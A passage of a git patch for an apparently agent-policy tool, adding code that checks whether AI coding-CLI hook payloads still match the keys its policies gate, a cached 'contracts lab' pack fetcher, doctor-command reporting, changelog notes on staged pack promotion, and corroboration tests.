+ * one. + */ +const CANONICAL_TOOL_NAMES = new Set( + Object.entries(TYPES) + .filter(([name]) => name.endsWith("_TOOL_MAP")) + .flatMap(([, map]) => Object.values(map as Record)), +); + +function asRecord(value: unknown): Record | undefined { + return value && typeof value === "object" && !Array.isArray(value) + ? (value as Record) + : undefined; +} + +function asStringArray(value: unknown): string[] { + return Array.isArray(value) ? value.filter((v): v is string => typeof v === "string") : []; +} + +/** + * Compare one CLI's recorded hooks against what this build can read. + * + * `cli` must be an integration we know; anything else yields no findings rather + * than guesses, because canonicalization is per-CLI and running the wrong CLI's + * maps would invent drift that is not there. + */ +export function compareCliContract(cli: string, record: unknown): ContractComparison { + const rec = asRecord(record); + const version = typeof rec?.version === "string" ? rec.version : undefined; + const findings: ContractFinding[] = []; + const hooks = asRecord(rec?.hooks); + if (!hooks || !KNOWN_CLIS.has(cli)) return { cli, version, findings }; + const typed = cli as IntegrationType; + + for (const [rawEvent, shapeRaw] of Object.entries(hooks)) { + const shape = asRecord(shapeRaw); + if (!shape) continue; + + // An event whose name routes nowhere reaches the policy engine and matches + // no policy's `match.events`, which reads exactly like a quiet session. + let canonicalEvent: string; + try { + canonicalEvent = canonicalizeEventType(rawEvent, typed); + } catch { + canonicalEvent = rawEvent; + } + if (!CANONICAL_EVENTS.has(canonicalEvent)) { + findings.push({ + cli, + kind: "unroutable-event", + severity: "high", + event: rawEvent, + detail: + `${cli} sent the event "${rawEvent}", which canonicalizes to "${canonicalEvent}" — ` + + "not an event any policy can match, so nothing runs for it", + }); + } + + const tools = asRecord(shape.tools); + if (!tools) continue; + + for (const [rawTool, keysRaw] of Object.entries(tools)) { + const observed = asStringArray(keysRaw); + const canonicalTool = canonicalizeToolName(rawTool, typed) ?? rawTool; + + const reqs = REQUIRED_TOOL_INPUT_KEYS[canonicalTool]; + if (!reqs) { + // Not a tool our builtins gate. Only worth a note when the name also + // failed to canonicalize, which is what a vendor rename looks like. + if (canonicalTool === rawTool && !CANONICAL_TOOL_NAMES.has(rawTool)) { + const resembles = looksThirdParty(rawTool) ? [] : resemblesGatedTools(observed); + findings.push({ + cli, + kind: "unmapped-tool", + severity: resembles.length > 0 ? "high" : "info", + event: rawEvent, + tool: rawTool, + observed, + detail: + resembles.length > 0 + ? `${cli} sent the untranslated tool "${rawTool}" carrying [${observed.join(", ")}] — ` + + `the keys ${resembles.join("/")} uses, so this looks like a rename, and every ` + + `policy gating ${resembles.join("/")} matches nothing until the map learns it` + : `${cli} sent the tool "${rawTool}", which no map translates — ` + + "harmless if it is a third-party or MCP tool, a silent gap if it was renamed", + }); + } + continue; + } + + // Run the REAL translation over the recorded key names. Values are + // irrelevant to key mapping, so a placeholder per key is faithful. + const fake: Record = {}; + for (const k of observed) fake[k] = ""; + const produced = asRecord(canonicalizeToolInput(canonicalTool, fake, typed)) ?? {}; + const producedKeys = Object.keys(produced); + + for (const req of reqs) { + if (req.anyOf.some((k) => producedKeys.includes(k))) continue; + findings.push({ + cli, + kind: "inert-tool-input", + severity: req.severity, + event: rawEvent, + tool: rawTool, + canonicalTool, + missing: [...req.anyOf], + observed, + why: req.why, + detail: + `${cli} ${rawTool} (${canonicalTool}) arrives as [${observed.join(", ") || "no keys"}], ` + + `which yields no ${req.anyOf.join(" or ")} — ${req.why}`, + }); + } + } + } + + return { cli, version, findings }; +} + +/** + * Compare a whole contract table. Never throws: this feeds `doctor` and a + * daemon lane, and one malformed CLI record must not hide the other eleven. + */ +export function compareContractTable(table: unknown): ContractComparison[] { + const clis = asRecord(asRecord(table)?.clis); + if (!clis) return []; + const out: ContractComparison[] = []; + for (const [cli, record] of Object.entries(clis)) { + try { + out.push(compareCliContract(cli, record)); + } catch { + // A record we cannot read is not a finding about the vendor. + out.push({ cli, findings: [] }); + } + } + return out; +} diff --git a/src/hooks/contract-pack-client.ts b/src/hooks/contract-pack-client.ts new file mode 100644 index 000000000..c96f23963 --- /dev/null +++ b/src/hooks/contract-pack-client.ts @@ -0,0 +1,144 @@ +/** + * Fetch and cache the contracts lab's pack. + * + * `observed.json` describes what THIS machine's agents have sent. That is the + * more relevant signal and it costs nothing — but it is bounded by what the + * machine happened to do. An agent that has never written a file has no Write + * shape recorded, so a renamed Write key is invisible here right up until the + * moment it matters. The lab drives every CLI through the same tool call every + * day, so its pack covers the vendor rather than the usage. + * + * ## Rules + * + * - **Never on the hook path.** Every function here touches the network or the + * disk on a schedule; a hook must never wait on either. `readCachedPack()` is + * the only one anything interactive calls, and it is a plain file read. + * - **Never throws, never fatal.** A pack is extra information. Failing to get + * one must leave every other check exactly as it was. + * - **No discovery.** The URL is constructed, never looked up — no API call, no + * `releases/latest` redirect chain to rate-limit, and no way to end up + * pointed at an artifact from a source we did not name. Same reasoning as + * `daemon-download.ts`. + */ +import { mkdirSync, readFileSync, renameSync, statSync, writeFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { contractPackFile } from "./fp-home"; + +/** + * Where the pack is published. + * + * Empty on purpose. The lab publishes to its own repo under the failproofai + * org, and that repo does not exist yet — so there is nothing to point at, and + * a plausible-looking guess would be worse than nothing: it would ship a URL + * that 404s on every machine, indefinitely, while looking configured. Set this + * one constant when the repo is created, or point `FAILPROOFAI_CONTRACTS_URL` + * at a mirror. + */ +const DEFAULT_PACK_URL = ""; + +/** One bound for the whole fetch. A pack is tens of kilobytes. */ +const FETCH_TIMEOUT_MS = 20_000; + +/** Refuse anything larger than a pack could plausibly be. */ +const MAX_PACK_BYTES = 4 * 1024 * 1024; + +/** Do not refetch a pack younger than this. The lab publishes at most daily. */ +const MIN_REFRESH_MS = 12 * 60 * 60 * 1000; + +export type PackFetchOutcome = + | { status: "fetched"; bytes: number } + | { status: "fresh" } + | { status: "skipped"; reason: string } + | { status: "failed"; reason: string }; + +export function packUrl(): string { + return (process.env.FAILPROOFAI_CONTRACTS_URL || DEFAULT_PACK_URL).trim(); +} + +/** + * The pack this machine last downloaded, or null. + * + * Deliberately tolerant: an unreadable or half-written cache is the same as no + * cache. The comparator ignores fields it does not know, so an older client + * reading a newer pack is a supported case, not a failure. + */ +export function readCachedPack(): unknown | null { + try { + const raw = readFileSync(contractPackFile(), "utf8"); + if (raw.length > MAX_PACK_BYTES) return null; + const parsed: unknown = JSON.parse(raw); + // A pack must at least be an object with `clis`; anything else is not one, + // and handing it to the comparator would only produce empty comparisons. + if (!parsed || typeof parsed !== "object") return null; + return "clis" in (parsed as Record) ? parsed : null; + } catch { + return null; + } +} + +/** Milliseconds since the cache was written, or Infinity when there is none. */ +function cacheAgeMs(): number { + try { + return Date.now() - statSync(contractPackFile()).mtimeMs; + } catch { + return Number.POSITIVE_INFINITY; + } +} + +/** + * Refresh the cached pack. Best-effort by construction. + * + * Called from the scheduled path only — never from a hook, and never from an + * interactive command unless the user asked for it. + */ +export async function refreshContractPack(opts: { force?: boolean } = {}): Promise { + const url = packUrl(); + if (!url) { + return { status: "skipped", reason: "no pack URL is configured" }; + } + // The same escape hatch the daemon download honours: an air-gapped site turns + // off fetching without turning off anything it already has. + if (process.env.FAILPROOFAI_NO_DOWNLOAD) { + return { status: "skipped", reason: "downloads are disabled (FAILPROOFAI_NO_DOWNLOAD)" }; + } + if (!opts.force && cacheAgeMs() < MIN_REFRESH_MS) { + return { status: "fresh" }; + } + + let text: string; + try { + const response = await fetch(url, { signal: AbortSignal.timeout(FETCH_TIMEOUT_MS) }); + if (!response.ok) return { status: "failed", reason: `GET returned ${response.status}` }; + const buf = Buffer.from(await response.arrayBuffer()); + if (buf.byteLength > MAX_PACK_BYTES) { + return { status: "failed", reason: `pack is larger than ${MAX_PACK_BYTES} bytes` }; + } + text = buf.toString("utf8"); + } catch (err) { + return { status: "failed", reason: err instanceof Error ? err.message : "fetch failed" }; + } + + // Parse before writing. A cache holding something that is not a pack is worse + // than an empty one: every later read pays to discover it. + try { + const parsed: unknown = JSON.parse(text); + if (!parsed || typeof parsed !== "object" || !("clis" in (parsed as Record))) { + return { status: "failed", reason: "what was served is not a pack" }; + } + } catch { + return { status: "failed", reason: "what was served is not JSON" }; + } + + try { + const dest = contractPackFile(); + mkdirSync(dirname(dest), { recursive: true }); + // Written through a temp file: a reader that catches a half-written cache + // would treat a good pack as a corrupt one. + const tmp = join(dirname(dest), `.pack.${process.pid}.tmp`); + writeFileSync(tmp, text, { mode: 0o600 }); + renameSync(tmp, dest); + } catch (err) { + return { status: "failed", reason: err instanceof Error ? err.message : "could not write" }; + } + return { status: "fetched", bytes: text.length }; +} diff --git a/src/hooks/doctor-cli.ts b/src/hooks/doctor-cli.ts index 8fff3de53..587585640 100644 --- a/src/hooks/doctor-cli.ts +++ b/src/hooks/doctor-cli.ts @@ -19,13 +19,26 @@ * broken" and "I could not check" demand different responses, and collapsing * them into one non-zero is how a detector that has silently stopped working * gets mistaken for a machine that is merely unhealthy. + * + * ## Two different questions, deliberately kept apart + * + * "Is the config still the shape the vendor accepts" is answered by + * `config-drift.ts`, and `--fix` repairs it here, on this machine. "Is what the + * vendor SENDS still something our maps can read" is answered by + * `contract-compare.ts` — and nothing on this machine can fix that one. It + * needs a release. Folding them together would make `--fix` look broken on a + * box it repaired perfectly, so they get separate sections and separate + * remedies. */ -import { existsSync, statSync } from "node:fs"; +import { existsSync, readFileSync, statSync } from "node:fs"; import { homedir } from "node:os"; import { resolve } from "node:path"; import { detectConfigDrift, driftFindings, type ConfigDriftReport } from "./config-drift"; import { repairConfigDrift, type RepairOutcome } from "./config-repair"; import { getHookActivityPage, getHookActivityPageCount } from "./hook-activity-store"; +import { compareContractTable, type ContractComparison, type ContractFinding } from "./contract-compare"; +import { readCachedPack, refreshContractPack } from "./contract-pack-client"; +import { contractTableFile } from "./fp-home"; import type { HookScope } from "./types"; /** @@ -112,18 +125,29 @@ interface DoctorOptions { scopes?: readonly HookScope[]; /** Also sweep the project dirs recent hook activity came from. */ recentProjects: boolean; + /** Fetch the lab's pack before answering. Consumed by the async front door. */ + refresh: boolean; } function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { // Default: user scope PLUS the projects agents are actually working in. // Naming a scope explicitly narrows to it. - const opts: DoctorOptions = { fix: false, json: false, scheduled: false, recentProjects: true }; + const opts: DoctorOptions = { + fix: false, + json: false, + scheduled: false, + recentProjects: true, + refresh: false, + }; for (const arg of argv) { if (arg === "--fix") opts.fix = true; else if (arg === "--json") opts.json = true; // How the daemon's lane invokes it: same work, output shaped for a log // rather than a terminal. else if (arg === "--scheduled") opts.scheduled = true; + // Handled by runDoctorCommandAsync before the sync pass; accepted here so + // the argument parser does not reject it. + else if (arg === "--refresh") opts.refresh = true; else if (arg === "--user") { opts.scopes = ["user"]; opts.recentProjects = false; @@ -236,14 +260,31 @@ export function runDoctorCommand(argv: readonly string[] = []): DoctorResult { const after = parsed.fix ? dedupeByPath(targets.flatMap((t) => detectConfigDrift(t))) : before; const findings = driftFindings(after); + const contract = contractComparisons(); + const contractFindings = exitWorthyContract(contract); + // Deliberately NOT exit-worthy: the lab may have driven a newer vendor + // version than this machine runs, so a finding there is a warning about what + // an upgrade will bring, not a statement about this machine right now. The + // local table is the only authority for that, and it is already counted. + const fromLab = packComparisons(contract); + if (parsed.json) { return { - lines: [JSON.stringify({ reports: after, repairs: repairs ?? [], findings }, null, 2)], - exitCode: exitFor(findings), + lines: [ + JSON.stringify( + { reports: after, repairs: repairs ?? [], findings, contracts: contract, lab: fromLab }, + null, + 2, + ), + ], + exitCode: exitFor(findings, contractFindings), }; } - return { lines: render(after, repairs, findings, parsed), exitCode: exitFor(findings) }; + return { + lines: render(after, repairs, findings, parsed, contract, fromLab), + exitCode: exitFor(findings, contractFindings), + }; } /** @@ -279,8 +320,124 @@ function safeRepair(target: Target): RepairOutcome[] | "failed" { * drift, and the caller can tell them apart from the text. What it must not do * is exit 0. */ -function exitFor(findings: readonly ConfigDriftReport[]): number { - return findings.length > 0 ? 1 : 0; +function exitFor(findings: readonly ConfigDriftReport[], contract: readonly ContractFinding[]): number { + return findings.length > 0 || contract.length > 0 ? 1 : 0; +} + +/** + * Compare what the CLIs on this machine have actually sent against what this + * build can read. + * + * Absent is the normal case, not an error: the table only exists once a + * daemon-configured machine has handled a hook, so a fresh install has none and + * this section simply does not appear. + */ +function contractComparisons(): ContractComparison[] { + try { + const raw = readFileSync(contractTableFile(), "utf8"); + return compareContractTable(JSON.parse(raw)); + } catch { + // No table, unreadable, or not JSON. None of those are findings about a + // vendor, and this must never be the reason doctor cannot run. + return []; + } +} + +/** + * What the LAB saw, narrowed to the CLIs this machine actually uses. + * + * The local table is bounded by what this machine happened to do: an agent that + * has never written a file has no Write shape recorded, so a renamed Write key + * is invisible here until the moment it matters. The lab drives every CLI + * through the same tool call daily, so its pack covers the vendor rather than + * the usage — which is the coverage the local table cannot have. + * + * Filtered to CLIs already in the local table on purpose. Reporting findings + * about the nine integrations somebody does not use is noise, and noise is how + * the two lines that matter get skipped. + */ +function packComparisons(local: readonly ContractComparison[]): ContractComparison[] { + const pack = readCachedPack(); + if (!pack) return []; + const used = new Set(local.map((c) => c.cli)); + try { + return compareContractTable(pack).filter((c) => used.has(c.cli) && c.findings.length > 0); + } catch { + return []; + } +} + +/** + * Which contract findings are worth a non-zero exit. + * + * `inert-tool-input` and `unroutable-event` are arithmetic on names — a key we + * need is not derivable, or an event routes nowhere — so they are true wherever + * they are computed. `unmapped-tool` is a heuristic: it reads an untranslated + * tool carrying a gated tool's keys as a rename, which is right in a lab that + * chose the prompt and wrong on a real machine carrying somebody's custom tool + * named `open_file`. It is still shown, because the reader can tell the + * difference and we cannot; it just does not fail the run. + */ +function exitWorthyContract(comparisons: readonly ContractComparison[]): ContractFinding[] { + return comparisons + .flatMap((c) => c.findings) + .filter((f) => f.severity === "high" && f.kind !== "unmapped-tool"); +} + +/** One contract finding, as a line somebody reads in a log hours later. */ +function describeContract(f: ContractFinding): string { + const where = f.tool ? `${f.tool} ` : ""; + const seen = f.observed && f.observed.length > 0 ? `[${f.observed.join(", ")}]` : "no keys"; + if (f.kind === "inert-tool-input") { + return `${where}arrives as ${seen} — no ${(f.missing ?? []).join(" or ")}; ${f.why ?? "policies reading it cannot fire"}`; + } + if (f.kind === "unroutable-event") return `event "${f.event}" routes to no policy`; + // The heuristic case is worth its own wording: "not translated" reads as + // housekeeping, and when the keys say it is a renamed gated tool it is the + // most serious line on the page. + if (f.severity === "high") { + return `tool "${f.tool}" ${seen} is not translated, and carries a gated tool's keys — likely renamed`; + } + return `tool "${f.tool}" is not translated ${seen} (fine if it is third-party)`; +} + +/** + * What the CLIs are sending, and whether we can still read it. + * + * Only CLIs with something to say are listed. A machine has twelve + * integrations, most people run two, and a healthy roster printed in full is + * how the one broken line gets missed. + */ +function renderContracts( + comparisons: readonly ContractComparison[], + opts: DoctorOptions, +): string[] { + if (comparisons.length === 0) return []; + const withFindings = comparisons.filter((c) => c.findings.length > 0); + + if (opts.scheduled) { + if (withFindings.length === 0) return []; + const total = withFindings.reduce((n, c) => n + c.findings.length, 0); + return [`doctor: ${total} payload-translation finding(s) across ${withFindings.length} CLI(s)`]; + } + + const lines = ["", "Payload translation — what these CLIs actually send", ""]; + if (withFindings.length === 0) { + lines.push(` every key we read is still where we expect it (${comparisons.length} CLI(s))`); + return lines; + } + for (const c of withFindings) { + const version = c.version ? ` ${c.version}` : ""; + for (const f of c.findings) { + lines.push(` ${(c.cli + version).padEnd(22)} ${describeContract(f)}`); + } + } + // The remedy differs from every other line doctor prints, and saying so is + // the difference between a useful report and one that reads as "--fix is + // broken". + lines.push(""); + lines.push("These are not repairable here — they need a failproofai update."); + return lines; } function render( @@ -288,6 +445,8 @@ function render( repairs: readonly RepairOutcome[] | null, findings: readonly ConfigDriftReport[], opts: DoctorOptions, + contracts: readonly ContractComparison[], + fromLab: readonly ContractComparison[] = [], ): string[] { const lines: string[] = []; const acted = (repairs ?? []).filter((r) => r.action !== "skipped"); @@ -311,12 +470,17 @@ function render( } if (findings.length === 0) { + // "Nothing to fix." above a list of problems reads as a contradiction, so + // it narrows to what it actually covers when the next section has content. + const alsoContracts = contracts.some((c) => c.findings.length > 0); lines.push( opts.scheduled ? `doctor: ${reports.filter((r) => r.status === "ok").length} config(s) ok, nothing to repair` - : "\nNothing to fix.", + : alsoContracts + ? "\nNo hook-config problems to fix." + : "\nNothing to fix.", ); - return lines; + return [...lines, ...renderContracts(contracts, opts), ...renderLab(fromLab, opts)]; } lines.push(""); @@ -326,5 +490,41 @@ function render( // usually looking at this in a log, hours later, out of context. lines.push("Run `failproofai doctor --fix` to repair them."); } + return [...lines, ...renderContracts(contracts, opts), ...renderLab(fromLab, opts)]; +} + +/** What the lab has seen that this machine has not exercised yet. */ +function renderLab(fromLab: readonly ContractComparison[], opts: DoctorOptions): string[] { + if (fromLab.length === 0) return []; + const total = fromLab.reduce((n, c) => n + c.findings.length, 0); + if (opts.scheduled) return [`doctor: ${total} finding(s) the contracts lab saw for CLIs you run`]; + + const lines = ["", "Seen by the contracts lab — not (yet) by this machine", ""]; + for (const c of fromLab) { + for (const f of c.findings) { + lines.push(` ${(c.cli + (c.version ? ` ${c.version}` : "")).padEnd(22)} ${describeContract(f)}`); + } + } return lines; } + +/** + * The async front door. + * + * Everything else here is pure — argv in, lines out — which is what makes it + * testable without a CLI or a process. Fetching is the one thing that cannot + * be, so it lives here alone, and the sync function stays the one every test + * and the daemon lane can reason about. + */ +export async function runDoctorCommandAsync(argv: readonly string[] = []): Promise { + // Only on the paths that asked for it: the scheduled lane, or an explicit + // --refresh. An interactive `doctor` must never wait on the network. + if (argv.includes("--scheduled") || argv.includes("--refresh")) { + try { + await refreshContractPack({ force: argv.includes("--refresh") }); + } catch { + // A pack is extra information; failing to get one changes no answer. + } + } + return runDoctorCommand(argv); +} diff --git a/src/hooks/fp-home.ts b/src/hooks/fp-home.ts index bb41529d5..9a683a155 100644 --- a/src/hooks/fp-home.ts +++ b/src/hooks/fp-home.ts @@ -290,6 +290,18 @@ export const hookActivityDir = (home?: string) => atHome(home, "hook-activity"); export const contractTableFile = (home?: string) => atHome(home, "contracts", "observed.json"); +/** + * The contracts lab's pack: the same shape as the table above, but describing + * every CLI at the version the lab drove rather than the ones this machine + * happens to run. + * + * Kept beside `observed.json` and never merged into it. They answer different + * questions — "what did MY agents send" versus "what does the vendor send + * today" — and a merged file could not distinguish a key this machine observed + * from one it was told about. + */ +export const contractPackFile = (home?: string) => atHome(home, "contracts", "pack.json"); + /** * Copies of a CLI's hook config taken immediately before we repaired it. * @@ -599,6 +611,9 @@ export const HOME_CLASSES: readonly { path: (home?: string) => string; class: Da // live traffic rebuilds it within a day. Dropping it costs a day of // observation, never a fact nothing else holds. { path: contractTableFile, class: "derived" }, + // The contracts lab's pack. The most clearly derived thing in the home: it is + // a cache of a file published elsewhere, and one fetch rebuilds it exactly. + { path: contractPackFile, class: "derived" }, // ── May be dropped: the server has it ── // Re-fetched and digest-verified on the next daemon poll. This is the whole From 976f8b4f9a611688913eb936cd563f92fdb83ff3 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 14:53:12 +0530 Subject: [PATCH 10/18] Stage the pack's rollout, and make a second machine agree before it reaches anyone MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The lab measures a vendor once, in a container, on a schedule. A run that went subtly wrong — stale image, half-configured vendor, a model that behaved oddly — produces a pack indistinguishable from a good one. So a pack now reaches customers only after two independent things agree with it. **Two channels.** The lab's unattended pushes go to `packs` and cut a PRERELEASE; a pull request to `main` cuts the real one. `releases/latest`, which is what every client fetches, skips prereleases — so a pack from a bad run cannot become the one customers resolve to. Our own machines follow the internal channel with FAILPROOFAI_CONTRACTS_CHANNEL=internal, and an unrecognised channel name falls back to stable, because a typo must never be a route onto the unreviewed one. This is shaped BY the org ruleset rather than around it. `failproofai-rules` requires a reviewed pull request on every default branch with no bypass actors, so an unattended lab cannot push to main at all — and turning a daily data update into a daily review request would stop it being unattended. The rule that blocks the lab is the rule that makes promotion a human decision, reading a diff of the vendor's own key names. **Corroboration.** contract-corroborate.ts and `doctor --corroborate` ask a machine that runs these CLIs for real whether it saw what the lab saw; contracts-promote.sh opens the pull request only when it did. Two decisions keep that from being either useless or decorative: - It compares FINDINGS, not raw keys. A local table is a union accumulated over weeks and legitimately holds optional keys one lab run never saw, so demanding key-for-key equality would mean nothing ever promotes. Findings are what anything acts on, so two sources agree exactly when they would cause the same action. - A version mismatch is SKIPPED, not failed. If the lab drove goose 1.44 and the machine runs 1.43, the difference IS the vendor moving — the thing being reported — and comparing across versions would block precisely the promotions that matter most. Nothing comparable exits 2, never 0: promotion must require evidence, and "could not check" is not evidence. `contracts-promote.sh` belongs on a working machine and says so — running it on the lab box would compare the lab's run against the lab's own leftovers and always agree, which is worse than not checking, because it looks like corroboration while supplying none. Verified against the live repo: an internal prerelease published from a real goose session, `releases/latest` correctly 404ing while nothing is promoted, and the bundled CLI corroborating and contradicting that published pack. --- CHANGELOG.md | 8 + __tests__/hooks/contract-corroborate.test.ts | 137 ++++++++++++++ __tests__/hooks/contract-pack-client.test.ts | 52 +++++- __tests__/hooks/doctor-cli.test.ts | 70 ++++++- .../integration-suite/contracts-lab.test.ts | 44 ++++- bin/failproofai.mjs | 6 + integration-suite/contracts-promote.sh | 107 +++++++++++ integration-suite/contracts-publish.sh | 8 +- integration-suite/contracts-repo/README.md | 91 ++++++--- integration-suite/contracts-repo/release.yml | 60 ++++-- integration-suite/local/jobs/contracts.sh | 6 + src/hooks/contract-corroborate.ts | 176 ++++++++++++++++++ src/hooks/contract-pack-client.ts | 43 ++++- src/hooks/doctor-cli.ts | 66 ++++++- 14 files changed, 817 insertions(+), 57 deletions(-) create mode 100644 __tests__/hooks/contract-corroborate.test.ts create mode 100644 integration-suite/contracts-promote.sh create mode 100644 src/hooks/contract-corroborate.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 6d9f9eb5a..be4e0263a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -68,6 +68,14 @@ Findings from the pack are shown and deliberately do **not** fail the run: the lab may have driven a newer vendor version than this machine runs, so they are a warning about what an upgrade will bring rather than a claim about the machine now — and the local table, which is a claim about the machine now, is already counted. They are also filtered to CLIs already present locally, because reporting the nine integrations somebody does not use is how the two lines that matter get skipped. Fetching happens only on the scheduled path or an explicit `--refresh`; an interactive `doctor` never waits on the network, and nothing here is reachable from a hook. The URL is constructed, never discovered — no API call and no `releases/latest` redirect to rate-limit — and `DEFAULT_PACK_URL` ships **empty** on purpose: the pack repo does not exist yet, and a plausible-looking guess would 404 on every machine indefinitely while looking configured. `integration-suite/contracts-repo/` carries the release workflow and setup notes for that repo when it is created. (#PR) +- Stage the pack's rollout, so a bad measurement reaches us before it reaches anyone else. The lab's unattended pushes go to a `packs` branch and cut a **prerelease**; a pull request to `main` cuts the real one, and `releases/latest/download` — what every client fetches — skips prereleases, so a pack built from a bad lab run cannot become the one customers resolve to. Our own machines follow the internal channel with `FAILPROOFAI_CONTRACTS_CHANNEL=internal`; an unrecognised channel name falls back to stable, because a typo must never be a route onto the unreviewed one. + + This is shaped by the org ruleset rather than around it. `failproofai-rules` requires a reviewed pull request on every default branch with no bypass actors, which means an unattended lab simply cannot push to `main` — and turning a daily data update into a daily review request would stop it being unattended. So the rule that blocks the lab is the same rule that makes promotion a human decision, reading a diff of the vendor's own key names. + +- Gate that promotion on a second, independent measurement: `contract-corroborate.ts` and `failproofai doctor --corroborate`. The lab drives each CLI once, in a container, and a run that went subtly wrong looks exactly like one that did not. Before a pack reaches every customer, a machine that runs those CLIs for real is asked whether it saw the same thing; `contracts-promote.sh` opens the pull request only when it did. + + Two decisions keep it from being either useless or decorative. It compares **findings**, not raw keys — a local table is a union accumulated over weeks and legitimately holds optional keys one lab run never saw, so demanding key-for-key equality would mean nothing ever promotes; comparing findings means two sources agree exactly when they would cause the same action. And a **version mismatch is skipped, not failed**: if the lab drove goose 1.44 and the machine runs 1.43, the difference IS the vendor moving, which is the thing being reported — comparing across versions would block precisely the promotions that matter most. Nothing comparable exits `2`, never `0`, because promotion must require evidence and "could not check" is not evidence. + ### Fixes - **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) diff --git a/__tests__/hooks/contract-corroborate.test.ts b/__tests__/hooks/contract-corroborate.test.ts new file mode 100644 index 000000000..9d179b21f --- /dev/null +++ b/__tests__/hooks/contract-corroborate.test.ts @@ -0,0 +1,137 @@ +// @vitest-environment node +/** + * Corroboration decides whether a pack is promoted to every customer machine, + * so it has two ways to be wrong and both are expensive. + * + * Too strict and nothing ever promotes: the local table is a union accumulated + * over weeks, and a single lab run cannot match it key for key. Too loose and a + * pack from a bad run sails through on no evidence at all. + * + * The tests below are mostly about the middle: what counts as evidence, and + * what only looks like it. + */ +import { describe, it, expect } from "vitest"; +import { corroborateContractPack } from "../../src/hooks/contract-corroborate"; + +/** One CLI record in either a pack or a local table. */ +function cli(version: string, tools: Record, event = "PreToolUse") { + return { version, hooks: { [event]: { envelope: [], tools } } }; +} + +const run = (pack: Record, local: Record) => + corroborateContractPack({ clis: pack }, { clis: local }); + +describe("agreement", () => { + it("corroborates when both sides saw the same shape", () => { + const r = run( + { goose: cli("1.43.0", { write: ["content", "path"] }) }, + { goose: cli("1.43.0", { write: ["content", "path"] }) }, + ); + expect(r.verdict).toBe("corroborated"); + expect(r.agreed).toBe(1); + expect(r.comparedClis).toEqual(["goose"]); + }); + + it("corroborates when this machine has accumulated an extra optional key", () => { + // The property that makes this usable at all. A local table is a union over + // weeks of real sessions; a lab run is one session. Demanding key-for-key + // equality would mean nothing is ever promoted. + const r = run( + { goose: cli("1.43.0", { write: ["content", "path"] }) }, + { goose: cli("1.43.0", { write: ["content", "path", "encoding", "mode"] }) }, + ); + expect(r.verdict).toBe("corroborated"); + }); + + it("corroborates when both sides agree that something IS broken", () => { + // Agreement is not "no findings" — it is "the same findings". Two machines + // both seeing an unreadable key is exactly the case worth promoting fast. + const r = run( + { copilot: cli("1.0.94", { read: ["uri"] }) }, + { copilot: cli("1.0.94", { read: ["uri"] }) }, + ); + expect(r.verdict).toBe("corroborated"); + }); +}); + +describe("disagreement", () => { + it("contradicts when the two sides would produce different findings", () => { + const r = run( + { goose: cli("1.43.0", { write: ["content", "uri"] }) }, + { goose: cli("1.43.0", { write: ["content", "path"] }) }, + ); + expect(r.verdict).toBe("contradicted"); + expect(r.disagreements[0]).toMatchObject({ cli: "goose", tool: "write", version: "1.43.0" }); + expect(r.disagreements[0].detail).toContain("do not lead to the same finding"); + }); + + it("one disagreement is enough, however much else agreed", () => { + const r = run( + { goose: cli("1.43.0", { write: ["content", "path"], view: ["uri"] }) }, + { goose: cli("1.43.0", { write: ["content", "path"], view: ["path"] }) }, + ); + expect(r.agreed).toBe(1); + expect(r.verdict).toBe("contradicted"); + }); +}); + +describe("what it refuses to compare", () => { + it("does not treat a version difference as a contradiction", () => { + // The single most important exclusion. If the lab drove a newer CLI, a + // difference IS the vendor moving — the thing the pack exists to report. + // Comparing across versions would block exactly the promotions that matter. + const r = run( + { goose: cli("1.44.0", { write: ["content", "uri"] }) }, + { goose: cli("1.43.0", { write: ["content", "path"] }) }, + ); + expect(r.verdict).toBe("no-overlap"); + expect(r.disagreements).toEqual([]); + expect(r.skipped[0].reason).toContain("lab drove 1.44.0"); + }); + + it("ignores tools only one side exercised", () => { + const r = run( + { goose: cli("1.43.0", { view: ["path"] }) }, + { goose: cli("1.43.0", { write: ["content", "path"] }) }, + ); + expect(r.verdict).toBe("no-overlap"); + expect(r.skipped[0].reason).toContain("no tool was exercised on both sides"); + }); + + it("ignores CLIs this machine does not run", () => { + const r = run( + { devin: cli("3000.1.0", { exec: ["command"] }) }, + { goose: cli("1.43.0", { write: ["content", "path"] }) }, + ); + expect(r.verdict).toBe("no-overlap"); + expect(r.skipped).toEqual([{ cli: "devin", reason: "this machine does not run it" }]); + }); + + it("skips a CLI missing a version on either side rather than guessing", () => { + const noVersion = { hooks: { PreToolUse: { envelope: [], tools: { write: ["path"] } } } }; + expect(run({ goose: cli("1.43.0", { write: ["path"] }) }, { goose: noVersion }).verdict).toBe( + "no-overlap", + ); + expect(run({ goose: noVersion }, { goose: cli("1.43.0", { write: ["path"] }) }).verdict).toBe( + "no-overlap", + ); + }); +}); + +describe("no-overlap is not a pass", () => { + it("returns no-overlap, never corroborated, when nothing was comparable", () => { + // Promotion requires evidence. "We could not check" is not evidence, and a + // machine that runs none of the lab's CLIs must not wave a pack through. + expect(run({}, {}).verdict).toBe("no-overlap"); + expect(run({ goose: cli("1.43.0", { write: ["path"] }) }, {}).verdict).toBe("no-overlap"); + }); + + it("never throws on malformed input from either side", () => { + // This gates a pull request from a scheduled job; a crash must read as "did + // not corroborate", not take the job down. + for (const bad of [null, "nope", 42, [], { clis: "x" }, { clis: { goose: 5 } }]) { + expect(() => corroborateContractPack(bad, bad)).not.toThrow(); + expect(corroborateContractPack(bad, bad).verdict).toBe("no-overlap"); + } + }); +}); diff --git a/__tests__/hooks/contract-pack-client.test.ts 